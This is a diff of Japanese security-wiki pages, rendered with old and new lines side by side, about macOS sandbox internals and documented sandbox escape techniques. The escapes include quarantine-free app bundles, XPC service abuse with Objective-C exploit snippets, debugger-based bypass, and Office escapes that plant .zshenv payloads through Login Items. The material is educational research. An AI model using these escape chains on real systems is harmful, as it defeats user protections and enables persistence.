拡張トークンは、付与された権限をエンコードする長い16進数であることに注意してください。ただし、許可されたPIDがハードコーディングされていないため、トークンにアクセスできる任意のプロセスが**複数のプロセスによって消費される可能性があります**。 拡張トークンは、付与された権限をエンコードする長い16進数であることに注意してください。ただし、許可されたPIDがハードコーディングされていないため、トークンにアクセスできる任意のプロセスが**複数のプロセスによって消費される可能性があります**。
拡張は権限とも非常に関連しているため、特定の権限を持つことが特定の拡張を自動的に付与する可能性があります。 拡張は権限とも非常に関連しているため、特定の権限を持つことが特定の拡張を自動的に付与する可能性があります。
@ -307,7 +307,7 @@ sbtool <pid> all
サンドボックスを一時停止および再開することも可能で、`libsystem_sandbox.dylib``sandbox_suspend`および`sandbox_unsuspend`関数を使用します。 サンドボックスを一時停止および再開することも可能で、`libsystem_sandbox.dylib``sandbox_suspend`および`sandbox_unsuspend`関数を使用します。
一時停止関数を呼び出すには、呼び出し元が呼び出すことを許可されるためにいくつかの権限がチェックされます。例えば: 一時停止関数を呼び出すには、以下のように呼び出し元を認可するためにいくつかの権限がチェックされることに注意してください。
- com.apple.private.security.sandbox-manager - com.apple.private.security.sandbox-manager
- com.apple.security.print - com.apple.security.print
@ -315,15 +315,15 @@ sbtool <pid> all
## mac_syscall ## mac_syscall
このシステムコール#381は、最初の引数として実行するモジュールを示す文字列を期待し、次の引数には実行する関数を示すコードを指定します。3番目の引数は実行される関数に依存します。 このシステムコール (#381) は、最初の引数として実行するモジュールを示す文字列を期待し、次の引数には実行する関数を示すコードを指定します。3番目の引数は実行される関数に依存します。
関数`___sandbox_ms`の呼び出しは、最初の引数に`"Sandbox"`を指定して`mac_syscall`をラップします。同様に、`___sandbox_msp``mac_set_proc`#387のラッパーです。次に、`___sandbox_ms`によってサポートされるコードの一部は次の表に示されています: 関数`___sandbox_ms`の呼び出しは、最初の引数に`"Sandbox"`を指定して`mac_syscall`をラップします。同様に、`___sandbox_msp``mac_set_proc` (#387) のラッパーです。次に、`___sandbox_ms`によってサポートされるコードの一部は以下の表に示されています。
- **set_profile (#0)**: プロセスにコンパイル済みまたは名前付きプロファイルを適用します。 - **set_profile (#0)**: プロセスにコンパイル済みまたは名前付きプロファイルを適用します。
- **platform_policy (#1)**: プラットフォーム固有のポリシーチェックを強制しますmacOSとiOSで異なります - **platform_policy (#1)**: プラットフォーム固有のポリシーチェックを強制しますmacOSとiOSで異なります
- **check_sandbox (#2)**: 特定のサンドボックス操作の手動チェックを実行します。 - **check_sandbox (#2)**: 特定のサンドボックス操作の手動チェックを実行します。
- **note (#3)**: サンドボックスに注釈を追加します。 - **note (#3)**: サンドボックスに注釈を追加します。
- **container (#4)**: サンドボックスに注釈を添付します。通常はデバッグや識別のために使用されます。 - **container (#4)**: 通常はデバッグまたは識別のために、サンドボックスに注釈を添付します。
- **extension_issue (#5)**: プロセスの新しい拡張を生成します。 - **extension_issue (#5)**: プロセスの新しい拡張を生成します。
- **extension_consume (#6)**: 指定された拡張を消費します。 - **extension_consume (#6)**: 指定された拡張を消費します。
- **extension_release (#7)**: 消費された拡張に関連付けられたメモリを解放します。 - **extension_release (#7)**: 消費された拡張に関連付けられたメモリを解放します。
@ -332,25 +332,25 @@ sbtool <pid> all
- **suspend (#10)**: すべてのサンドボックスチェックを一時的に停止します(適切な権限が必要です)。 - **suspend (#10)**: すべてのサンドボックスチェックを一時的に停止します(適切な権限が必要です)。
- **unsuspend (#11)**: 以前に一時停止されたすべてのサンドボックスチェックを再開します。 - **unsuspend (#11)**: 以前に一時停止されたすべてのサンドボックスチェックを再開します。
- **passthrough_access (#12)**: サンドボックスチェックをバイパスしてリソースへの直接パススルーアクセスを許可します。 - **passthrough_access (#12)**: サンドボックスチェックをバイパスしてリソースへの直接パススルーアクセスを許可します。
- **set_container_path (#13)**: iOSのみアプリグループまたは署名IDのためのコンテナパスを設定します。 - **set_container_path (#13)**: (iOSのみ) アプリグループまたは署名IDのためのコンテナパスを設定します。
- **container_map (#14)**: iOSのみ`containermanagerd`からコンテナパスを取得します。 - **container_map (#14)**: (iOSのみ) `containermanagerd`からコンテナパスを取得します。
- **sandbox_user_state_item_buffer_send (#15)**: iOS 10+サンドボックス内のユーザーモードメタデータを設定します。 - **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) サンドボックス内のユーザーモードメタデータを設定します。
- **inspect (#16)**: サンドボックス化されたプロセスに関するデバッグ情報を提供します。 - **inspect (#16)**: サンドボックス化されたプロセスに関するデバッグ情報を提供します。
- **dump (#18)**: macOS 11分析のためにサンドボックスの現在のプロファイルをダンプします。 - **dump (#18)**: (macOS 11) 分析のためにサンドボックスの現在のプロファイルをダンプします。
- **vtrace (#19)**: 監視またはデバッグのためにサンドボックス操作をトレースします。 - **vtrace (#19)**: 監視またはデバッグのためにサンドボックス操作をトレースします。
- **builtin_profile_deactivate (#20)**: macOS < 11名前付きプロファイルを無効にします`pe_i_can_has_debugger`)。 - **builtin_profile_deactivate (#20)**: (macOS < 11) 名前付きプロファイルを無効にします`pe_i_can_has_debugger`)。
- **check_bulk (#21)**: 単一の呼び出しで複数の`sandbox_check`操作を実行します。 - **check_bulk (#21)**: 単一の呼び出しで複数の`sandbox_check`操作を実行します。
- **reference_retain_by_audit_token (#28)**: サンドボックスチェックで使用するための監査トークンの参照を作成します。 - **reference_retain_by_audit_token (#28)**: サンドボックスチェックで使用するための監査トークンの参照を作成します。
- **reference_release (#29)**: 以前に保持された監査トークンの参照を解放します。 - **reference_release (#29)**: 以前に保持された監査トークンの参照を解放します。
- **rootless_allows_task_for_pid (#30)**: `task_for_pid`が許可されているかどうかを確認します(`csr`チェックに類似)。 - **rootless_allows_task_for_pid (#30)**: `task_for_pid`が許可されているかどうかを確認します(`csr`チェックに類似)。
- **rootless_whitelist_push (#31)**: macOSシステム整合性保護SIPマニフェストファイルを適用します。 - **rootless_whitelist_push (#31)**: (macOS) システム整合性保護SIPマニフェストファイルを適用します。
- **rootless_whitelist_check (preflight) (#32)**: 実行前にSIPマニフェストファイルをチェックします。 - **rootless_whitelist_check (preflight) (#32)**: 実行前にSIPマニフェストファイルをチェックします。
- **rootless_protected_volume (#33)**: macOSディスクまたはパーティションにSIP保護を適用します。 - **rootless_protected_volume (#33)**: (macOS) ディスクまたはパーティションにSIP保護を適用します。
- **rootless_mkdir_protected (#34)**: ディレクトリ作成プロセスにSIP/DataVault保護を適用します。 - **rootless_mkdir_protected (#34)**: ディレクトリ作成プロセスにSIP/DataVault保護を適用します。
## Sandbox.kext ## Sandbox.kext
iOSでは、カーネル拡張が`__TEXT.__const`セグメント内に**すべてのプロファイルをハードコーディング**しているため、変更されることはありません。以下はカーネル拡張からのいくつかの興味深い関数です: iOSでは、カーネル拡張が`__TEXT.__const`セグメント内に**すべてのプロファイルをハードコーディング**しているため、変更されないようにしています。以下はカーネル拡張からのいくつかの興味深い関数です。
- **`hook_policy_init`**: `mpo_policy_init`をフックし、`mac_policy_register`の後に呼び出されます。サンドボックスの初期化のほとんどを実行します。また、SIPも初期化します。 - **`hook_policy_init`**: `mpo_policy_init`をフックし、`mac_policy_register`の後に呼び出されます。サンドボックスの初期化のほとんどを実行します。また、SIPも初期化します。
- **`hook_policy_initbsd`**: `security.mac.sandbox.sentinel``security.mac.sandbox.audio_active`、および`security.mac.sandbox.debug_mode`を登録するsysctlインターフェースを設定します`PE_i_can_has_debugger`でブートされた場合)。 - **`hook_policy_initbsd`**: `security.mac.sandbox.sentinel``security.mac.sandbox.audio_active`、および`security.mac.sandbox.debug_mode`を登録するsysctlインターフェースを設定します`PE_i_can_has_debugger`でブートされた場合)。
@ -358,15 +358,15 @@ iOSでは、カーネル拡張が`__TEXT.__const`セグメント内に**すべ
### MACF Hooks ### MACF Hooks
**`Sandbox.kext`**は、MACFを介して100以上のフックを使用します。ほとんどのフックは、アクションを実行することを許可する単純なケースをチェックするだけであり、そうでない場合は、**`cred_sb_evalutate`**を呼び出し、**資格情報**と**操作**に対応する番号、および出力用の**バッファ**を渡します。 **`Sandbox.kext`**は、MACFを介して100以上のフックを使用します。ほとんどのフックは、アクションを実行できるかどうかを確認するための些細なケースをチェックし、そうでない場合は**`cred_sb_evalutate`**を呼び出し、**操作**を実行するための**資格情報**と**出力**用の**バッファ**を渡します。
その良い例、**`_mpo_file_check_mmap`**関数で、これは**`mmap`**をフックし、新しいメモリが書き込み可能かどうかをチェックしそうでない場合は実行を許可、次にそれがdyld共有キャッシュに使用されているかどうかをチェックし、そうであれば実行を許可し、最後に**`sb_evaluate_internal`**またはそのラッパーの1つを呼び出してさらなる許可チェックを実行します。 その良い例、**`_mpo_file_check_mmap`**関数で、これは**`mmap`**をフックし、新しいメモリが書き込み可能かどうかをチェックしそうでない場合は実行を許可、次にそれがdyld共有キャッシュに使用されているかどうかをチェックし、そうであれば実行を許可し、最後に**`sb_evaluate_internal`**またはそのラッパーの1つを呼び出してさらなる許可チェックを実行します。
さらに、サンドボックスが使用する数百のフックの中で、特に興味深い3つがあります さらに、サンドボックスが使用する数百のフックの中で、特に興味深い3つがあります
- `mpo_proc_check_for`: 必要に応じてプロファイルを適用し、以前に適用されていない場合。 - `mpo_proc_check_for`: 必要に応じてプロファイルを適用し、以前に適用されていない場合。
- `mpo_vnode_check_exec`: プロセスが関連するバイナリをロードするときに呼び出され、プロファイルチェックとSUID/SGID実行を禁止するチェックが行われます。 - `mpo_vnode_check_exec`: プロセスが関連するバイナリをロードするときに呼び出され、プロファイルチェックとSUID/SGID実行を禁止するチェックが行われます。
- `mpo_cred_label_update_execve`: ラベルが割り当てられるときに呼び出されます。これは最も長いもので、バイナリが完全にロードされるときに呼び出されますが、まだ実行されていません。サンドボックスオブジェクトの作成、kauth資格情報へのサンドボックス構造の添付、machポートへのアクセスの削除などのアクションを実行します。 - `mpo_cred_label_update_execve`: ラベルが割り当てられるときに呼び出されます。これは、バイナリが完全にロードされるがまだ実行されていないときに呼び出されるため、最も長いものです。サンドボックスオブジェクトの作成、kauth資格情報へのサンドボックス構造の添付、machポートへのアクセスの削除などのアクションを実行します。
**`_cred_sb_evalutate`**は**`sb_evaluate_internal`**のラッパーであり、この関数は渡された資格情報を取得し、次に**`eval`**関数を使用して評価を実行します。この関数は通常、すべてのプロセスにデフォルトで適用される**プラットフォームプロファイル**を評価し、その後**特定のプロセスプロファイル**を評価します。プラットフォームプロファイルは、macOSの**SIP**の主要なコンポーネントの1つです。 **`_cred_sb_evalutate`**は**`sb_evaluate_internal`**のラッパーであり、この関数は渡された資格情報を取得し、次に**`eval`**関数を使用して評価を実行します。この関数は通常、すべてのプロセスにデフォルトで適用される**プラットフォームプロファイル**を評価し、その後**特定のプロセスプロファイル**を評価します。プラットフォームプロファイルは、macOSの**SIP**の主要なコンポーネントの1つです。

View File

@ -4,7 +4,7 @@
このページでは、デフォルトの macOS サンドボックス内から任意のコマンドを実行するアプリを作成する方法を見つけることができます。 このページでは、デフォルトの macOS サンドボックス内から任意のコマンドを実行するアプリを作成する方法を見つけることができます。
1. アプリケーションをコンパイルします 1. アプリケーションをコンパイルします:
```objectivec:main.m ```objectivec:main.m
#include <Foundation/Foundation.h> #include <Foundation/Foundation.h>

View File

@ -4,31 +4,31 @@
## Sandbox loading process ## Sandbox loading process
<figure><img src="../../../../../images/image (901).png" alt=""><figcaption><p>画像は <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a> からのものです。</p></figcaption></figure> <figure><img src="../../../../../images/image (901).png" alt=""><figcaption><p>Image from <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
前の画像では、**アプリケーションが権限 **`com.apple.security.app-sandbox`** を持っているときに、サンドボックスが**どのように読み込まれるかを観察できます。 前の画像では、**アプリケーションが権限** **`com.apple.security.app-sandbox`** **を持っている場合、サンドボックスがどのように読み込まれるか**を観察できます。
コンパイラは `/usr/lib/libSystem.B.dylib` をバイナリにリンクします。 コンパイラは、バイナリに`/usr/lib/libSystem.B.dylib`リンクします。
次に、**`libSystem.B`** は他のいくつかの関数を呼び出し、**`xpc_pipe_routine`** がアプリの権限を **`securityd`** に送信します。Securitydはプロセスがサンドボックス内で隔離されるべきかどうかを確認し、そうであれば隔離されます。\ 次に、**`libSystem.B`**は他のいくつかの関数を呼び出し、**`xpc_pipe_routine`**がアプリの権限を**`securityd`**に送信します。Securitydはプロセスがサンドボックス内で隔離されるべきかどうかを確認し、そうであれば隔離ます。\
最後に、サンドボックスは **`__sandbox_ms`** への呼び出しでアクティブ化され、これが **`__mac_syscall`** を呼び出します。 最後に、サンドボックスは**`__sandbox_ms`**への呼び出しでアクティブ化され、**`__mac_syscall`**が呼び出されます。
## Possible Bypasses ## Possible Bypasses
### Bypassing quarantine attribute ### Bypassing quarantine attribute
**サンドボックス化されたプロセスによって作成されたファイル** には、サンドボックスからの脱出を防ぐために **隔離属性** が追加されます。しかし、もしあなたが **隔離属性なしで `.app` フォルダを作成することができれば**、アプリバンドルのバイナリを **`/bin/bash`** にポイントさせ、**plist** にいくつかの環境変数を追加して **`open`** を悪用し、**新しいアプリをサンドボックスなしで起動する** ことができます。 **サンドボックス化されたプロセスによって作成されたファイル**には、サンドボックスからの脱出を防ぐために**隔離属性**が追加されます。しかし、もしあなたが**隔離属性なしで`.app`フォルダを作成することができれば**、アプリバンドルのバイナリを**`/bin/bash`**にポイントさせ、**plist**にいくつかの環境変数を追加して**`open`**を悪用し、**新しいアプリをサンドボックスなしで起動**することができます。
これは [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)** で行われたことです。** これは[**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**で行われました。**
> [!CAUTION] > [!CAUTION]
> したがって、現時点では、**隔離属性なしで `.app` で終わる名前のフォルダを作成することができる** なら、サンドボックスから脱出できます。なぜなら、macOSは **`.app` フォルダ** **メイン実行可能ファイル** **隔離** 属性のみを **チェック** するからです(そして、私たちはメイン実行可能ファイルを **`/bin/bash`** にポイントさせます)。 > したがって、現時点では、**隔離属性なしで`.app`**で終わる名前のフォルダを作成できる場合、サンドボックスから脱出できます。なぜなら、macOSは**`.app`フォルダ**と**メイン実行可能ファイル**の**隔離**属性のみを**チェック**するからです(そして、私たちはメイン実行可能ファイルを**`/bin/bash`**にポイントさせます)。
> >
> すでに実行を許可された .app バンドル(実行を許可されたフラグが付いた隔離 xttrを持つも悪用できる可能性があります... ただし、今は **`.app`** バンドル内に書き込むことはできません。なぜなら、サンドボックス内では特権のある TCC 権限を持っていないからです(サンドボックス内では持っていません)。 > すでに実行を許可された.appバンドル実行を許可するフラグが付いた隔離xttrを持つも悪用できます... ただし、今は**`.app`**バンドル内に書き込むことはできません。特権TCC権限がない限り(サンドボックス内では持っていません)。
### Abusing Open functionality ### Abusing Open functionality
[**Wordサンドボックスバイパスの最後の例**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) では、**`open`** CLI 機能がサンドボックスをバイパスするために悪用される様子が確認できます。 [**Wordサンドボックスバイパスの最後の例**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv)では、**`open`** CLI機能がサンドボックスをバイパスするために悪用される様子が確認できます。
{{#ref}} {{#ref}}
macos-office-sandbox-bypasses.md macos-office-sandbox-bypasses.md
@ -36,16 +36,16 @@ macos-office-sandbox-bypasses.md
### Launch Agents/Daemons ### Launch Agents/Daemons
アプリケーションが **サンドボックス化されることを意図している** (`com.apple.security.app-sandbox`) 場合でも、例えば **LaunchAgent** (`~/Library/LaunchAgents`) から実行されるとサンドボックスをバイパスすることが可能です。\ アプリケーションが**サンドボックス化されることを意図している**`com.apple.security.app-sandbox`)場合でも、例えば**LaunchAgent**`~/Library/LaunchAgents`)から実行される場合、サンドボックスをバイパスすることが可能です。\
[**この投稿**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818) で説明されているように、サンドボックス化されたアプリケーションで永続性を得たい場合、LaunchAgent として自動的に実行されるようにし、DyLib 環境変数を介して悪意のあるコードを注入することができます。 [**この投稿**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818)で説明されているように、サンドボックス化されたアプリケーションで永続性を得たい場合、LaunchAgentとして自動的に実行されるようにし、DyLib環境変数を介して悪意のあるコードを注入することができます。
### Abusing Auto Start Locations ### Abusing Auto Start Locations
サンドボックス化されたプロセスが **後でサンドボックスなしのアプリケーションがバイナリを実行する場所に** 書き込むことができれば、**そこにバイナリを置くだけで** 脱出できます。この種の場所の良い例は `~/Library/LaunchAgents` `/System/Library/LaunchDaemons` です。 サンドボックス化されたプロセスが**後にサンドボックスなしで実行されるアプリケーションがバイナリを実行する場所に**書き込むことができれば、**そこにバイナリを置くだけで脱出**できます。この種の場所の良い例は`~/Library/LaunchAgents``/System/Library/LaunchDaemons`です。
これには **2ステップ** が必要場合があります:**より許可されたサンドボックス** (`file-read*`, `file-write*`) を持つプロセスを実行して、実際に **サンドボックスなしで実行される場所に書き込む** コードを実行します。 これには**2ステップ**が必要な場合があります:**より許可されたサンドボックス**`file-read*``file-write*`)を持つプロセスを作成し、そのプロセスが実際に**サンドボックスなしで実行される場所に書き込む**コードを実行します。
**自動起動場所** に関するこのページを確認してください: **Auto Start locations**についてはこのページを確認してください:
{{#ref}} {{#ref}}
../../../../macos-auto-start-locations.md ../../../../macos-auto-start-locations.md
@ -53,7 +53,7 @@ macos-office-sandbox-bypasses.md
### Abusing other processes ### Abusing other processes
サンドボックスプロセスから **他のプロセスを妥協する** ことができれば、より制限の少ないサンドボックス(または全くない)に脱出することができます: サンドボックスプロセスから、**制限の少ない(または全くない)他のプロセスを妥協**できれば、それらのサンドボックスに脱出することができます:
{{#ref}} {{#ref}}
../../../macos-proces-abuse/ ../../../macos-proces-abuse/
@ -61,11 +61,11 @@ macos-office-sandbox-bypasses.md
### Available System and User Mach services ### Available System and User Mach services
サンドボックスは、プロファイル `application.sb` で定義された特定の **Machサービス** と通信することも許可します。これらのサービスの1つを **悪用** できれば、**サンドボックスから脱出** できるかもしれません。 サンドボックスは、プロファイル`application.sb`で定義された特定の**Machサービス**と通信することも許可します。これらのサービスの1つを**悪用**できれば、**サンドボックスから脱出**できるかもしれません。
[この書き込み](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)示されているように、Machサービスに関する情報は `/System/Library/xpc/launchd.plist` に保存されています。`<string>System</string>``<string>User</string>` をそのファイル内で検索することで、すべてのシステムおよびユーザMachサービスを見つけることができます。 [この書き込み](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)示されているように、Machサービスに関する情報は`/System/Library/xpc/launchd.plist`に保存されています。`<string>System</string>`および`<string>User</string>`をそのファイル内で検索することで、すべてのシステムおよびユーザMachサービスを見つけることができます。
さらに、`bootstrap_look_up` を呼び出すことで、サンドボックス化されたアプリケーションに利用可能なMachサービスがあるかどうかを確認することができます。 さらに、`bootstrap_look_up`を呼び出すことで、サンドボックス化されたアプリケーションに利用可能なMachサービスがあるかどうかを確認できます。
```objectivec ```objectivec
void checkService(const char *serviceName) { void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL; mach_port_t service_port = MACH_PORT_NULL;
@ -92,7 +92,7 @@ checkService(serviceName.UTF8String);
これらのMachサービスは、最初にこの[サンドボックスからの脱出に利用されました](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)。その時点で、**アプリケーションとそのフレームワークによって必要とされるすべてのXPCサービス**がアプリのPIDドメイン内で表示されていましたこれらは`ServiceType``Application`のMachサービスです これらのMachサービスは、最初にこの[サンドボックスからの脱出に利用されました](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)。その時点で、**アプリケーションとそのフレームワークによって必要とされるすべてのXPCサービス**がアプリのPIDドメイン内で表示されていましたこれらは`ServiceType``Application`のMachサービスです
**PIDドメインXPCサービスに連絡するためには**、アプリ内で次のような行を使って登録するだけで済みます **PIDドメインXPCサービスに連絡するためには**、アプリ内で次のような行を使って登録するだけで済みます:
```objectivec ```objectivec
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load]; [[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
``` ```
@ -132,7 +132,7 @@ NSLog(@"run task result:%@, error:%@", bSucc, error);
このXPCサービスは、常にYESを返すことで、すべてのクライアントを許可し、メソッド`createZipAtPath:hourThreshold:withReply:`は、圧縮するフォルダのパスを指定することを基本的に許可しました。そして、それはZIPファイルに圧縮されます。 このXPCサービスは、常にYESを返すことで、すべてのクライアントを許可し、メソッド`createZipAtPath:hourThreshold:withReply:`は、圧縮するフォルダのパスを指定することを基本的に許可しました。そして、それはZIPファイルに圧縮されます。
したがって、偽のアプリフォルダ構造を生成し、それを圧縮し、次に解凍して実行することで、サンドボックスを脱出することが可能です。新しいファイルには隔離属性がないためです。 したがって、偽のアプリフォルダ構造を生成し、それを圧縮し、次に解凍して実行することで、サンドボックスを脱出することが可能です。新しいファイルには検疫属性がないためです。
エクスプロイトは: エクスプロイトは:
```objectivec ```objectivec
@ -207,19 +207,19 @@ NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
[**この研究**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)では、Sandboxをバイパスする2つの方法が発見されました。Sandboxは、**libSystem**ライブラリがロードされるときにユーザーランドから適用されます。バイナリがそれをロードしないことができれば、Sandboxに入ることはありません [**この研究**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)では、Sandboxをバイパスする2つの方法が発見されました。Sandboxは、**libSystem**ライブラリがロードされるときにユーザーランドから適用されます。バイナリがそれをロードしないことができれば、Sandboxに入ることはありません
- バイナリが**完全に静的にコンパイルされている**場合、そのライブラリをロードすることを避けることができます。 - バイナリが**完全に静的にコンパイルされている**場合、そのライブラリをロードせずに済みます。
- **バイナリがライブラリをロードする必要がない**場合リンカーもlibSystemにあるため、libSystemをロードする必要はありません。 - **バイナリがライブラリをロードする必要がない**場合リンカーもlibSystemにあるため、libSystemをロードする必要はありません。
### シェルコード ### シェルコード
**シェルコード**でさえ、ARM64では`libSystem.dylib`にリンクする必要があることに注意してください: **シェルコード**であっても、ARM64では`libSystem.dylib`にリンクする必要があることに注意してください:
```bash ```bash
ld -o shell shell.o -macosx_version_min 13.0 ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64 ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
``` ```
### 継承されない制限 ### 継承されない制限
**[この書き込みのボーナス](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)** で説明されているように、サンドボックスの制限は次のようになります: **[この書き込みのボーナス](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)** で説明されているように、サンドボックスの制限は次のようになります
``` ```
(version 1) (version 1)
(allow default) (allow default)
@ -361,7 +361,7 @@ system("cat ~/Desktop/del.txt");
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
次にアプリをコンパイルします: 次にアプリをコンパイルします
```bash ```bash
# Compile it # Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
@ -372,14 +372,14 @@ gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.pli
codesign -s <cert-name> --entitlements entitlements.xml sand codesign -s <cert-name> --entitlements entitlements.xml sand
``` ```
> [!CAUTION] > [!CAUTION]
> アプリは **`~/Desktop/del.txt`** ファイルを **読み取ろう** としますが、**Sandboxはそれを許可しません**。\ > アプリは **`~/Desktop/del.txt`** ファイルを**読み取ろうとします**が、**Sandboxはそれを許可しません**。\
> Sandboxがバイパスされると読み取れるように、そこにファイルを作成してください: > Sandboxがバイパスされると読み取れるように、そこにファイルを作成してください
> >
> ```bash > ```bash
> echo "Sandbox Bypassed" > ~/Desktop/del.txt > echo "Sandbox Bypassed" > ~/Desktop/del.txt
> ``` > ```
アプリケーションをデバッグして、Sandboxがいつ読み込まれるかを見てみましょう: アプリケーションをデバッグして、Sandboxがいつ読み込まれるかを見てみましょう
```bash ```bash
# Load app in debugging # Load app in debugging
lldb ./sand lldb ./sand
@ -458,7 +458,7 @@ Process 2517 exited with status = 0 (0x00000000)
``` ```
> [!WARNING] > **サンドボックスをバイパスしても、TCC** はユーザーにデスクトップからファイルを読み取るプロセスを許可するかどうか尋ねます > [!WARNING] > **サンドボックスをバイパスしても、TCC** はユーザーにデスクトップからファイルを読み取るプロセスを許可するかどうか尋ねます
## 参考文献 ## References
- [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf) - [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf)
- [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) - [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)

View File

@ -16,7 +16,7 @@
サンドボックス内から **Login Item**(ユーザーがログインしたときに実行されるアプリ)を作成できることが発見されました。ただし、これらのアプリは **ノータライズされていない限り** 実行されず、**引数を追加することはできません**(したがって、**`bash`** を使用してリバースシェルを実行することはできません)。 サンドボックス内から **Login Item**(ユーザーがログインしたときに実行されるアプリ)を作成できることが発見されました。ただし、これらのアプリは **ノータライズされていない限り** 実行されず、**引数を追加することはできません**(したがって、**`bash`** を使用してリバースシェルを実行することはできません)。
前のサンドボックスバイパスから、Microsoft は `~/Library/LaunchAgents` にファイルを書き込むオプションを無効にしました。しかし、**Login Item** として **zip ファイル** を置くと、`Archive Utility` はその現在の場所に **解凍** します。したがって、デフォルトでは `~/Library``LaunchAgents` フォルダーが作成されないため、**`LaunchAgents/~$escape.plist`** に plist を **zip** し、**`~/Library`** に zip ファイルを **配置** することで、解凍時に永続性のある場所に到達することができました。 前のサンドボックスバイパスから、Microsoft は `~/Library/LaunchAgents` にファイルを書き込むオプションを無効にしました。しかし、**Login Item** として **zip ファイル** を置くと、`Archive Utility` はその現在の場所に **解凍** します。したがって、デフォルトでは `~/Library``LaunchAgents` フォルダーが作成されないため、**`LaunchAgents/~$escape.plist`** に plist を **zip** し、**`~/Library`** に zip ファイルを **配置** することで、解凍時に永続性の宛先に到達することができました。
[**元のレポートはこちら**](https://objective-see.org/blog/blog_0x4B.html)を確認してください。 [**元のレポートはこちら**](https://objective-see.org/blog/blog_0x4B.html)を確認してください。
@ -26,9 +26,9 @@
ただし、前の技術には制限があり、**`~/Library/LaunchAgents`** フォルダーが他のソフトウェアによって作成されている場合、失敗します。したがって、これに対する別の Login Items チェーンが発見されました。 ただし、前の技術には制限があり、**`~/Library/LaunchAgents`** フォルダーが他のソフトウェアによって作成されている場合、失敗します。したがって、これに対する別の Login Items チェーンが発見されました。
攻撃者は **`.bash_profile`** と **`.zshenv`** というファイルを作成し、実行するペイロードを含めてから、それらを zip し、**被害者の** ユーザーフォルダーに **`~/~$escape.zip`** として書き込みます 攻撃者は、実行するペイロードを含む **`.bash_profile`** と **`.zshenv`** ファイルを作成し、それらを zip して **被害者の** ユーザーフォルダーに書き込むことができます: **`~/~$escape.zip`**
次に、zip ファイルを **Login Items** に追加し、**`Terminal`** アプリを追加します。ユーザーが再ログインすると、zip ファイルはユーザーファイルに解凍され、**`.bash_profile`** と **`.zshenv`** を上書きし、そのためターミナルはこれらのファイルのいずれかを実行しますbash または zsh が使用されるかによって異なります)。 次に、zip ファイルを **Login Items** に追加し、**`Terminal`** アプリを追加します。ユーザーが再ログインすると、zip ファイルはユーザーファイルに解凍され、**`.bash_profile`** と **`.zshenv`** が上書きされ、そのためターミナルはこれらのファイルのいずれかを実行しますbash または zsh が使用されるかによります)。
[**元のレポートはこちら**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)を確認してください。 [**元のレポートはこちら**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)を確認してください。
@ -36,7 +36,7 @@
サンドボックス化されたプロセスからは、**`open`** ユーティリティを使用して他のプロセスを呼び出すことがまだ可能です。さらに、これらのプロセスは **自分自身のサンドボックス内** で実行されます。 サンドボックス化されたプロセスからは、**`open`** ユーティリティを使用して他のプロセスを呼び出すことがまだ可能です。さらに、これらのプロセスは **自分自身のサンドボックス内** で実行されます。
open ユーティリティには、**特定の env** 変数でアプリを実行するための **`--env`** オプションがあることが発見されました。したがって、**サンドボックス内のフォルダー** に **`.zshenv` ファイル** を作成し、`--env` を使用して **`HOME` 変数** をそのフォルダーに設定し、その `Terminal` アプリを開くことができ、これにより `.zshenv` ファイルが実行されます(理由は不明ですが、`__OSINSTALL_ENVIROMENT` 変数を設定する必要もありました)。 open ユーティリティには、**特定の env** 変数でアプリを実行するための **`--env`** オプションがあることが発見されました。したがって、**サンドボックス内のフォルダー** に **`.zshenv` ファイル** を作成し、`--env` を使用して **`HOME` 変数** をそのフォルダーに設定し、その `Terminal` アプリを開くことで、`.zshenv` ファイルを実行します(理由は不明ですが、変数 `__OSINSTALL_ENVIROMENT` を設定する必要もありました)。
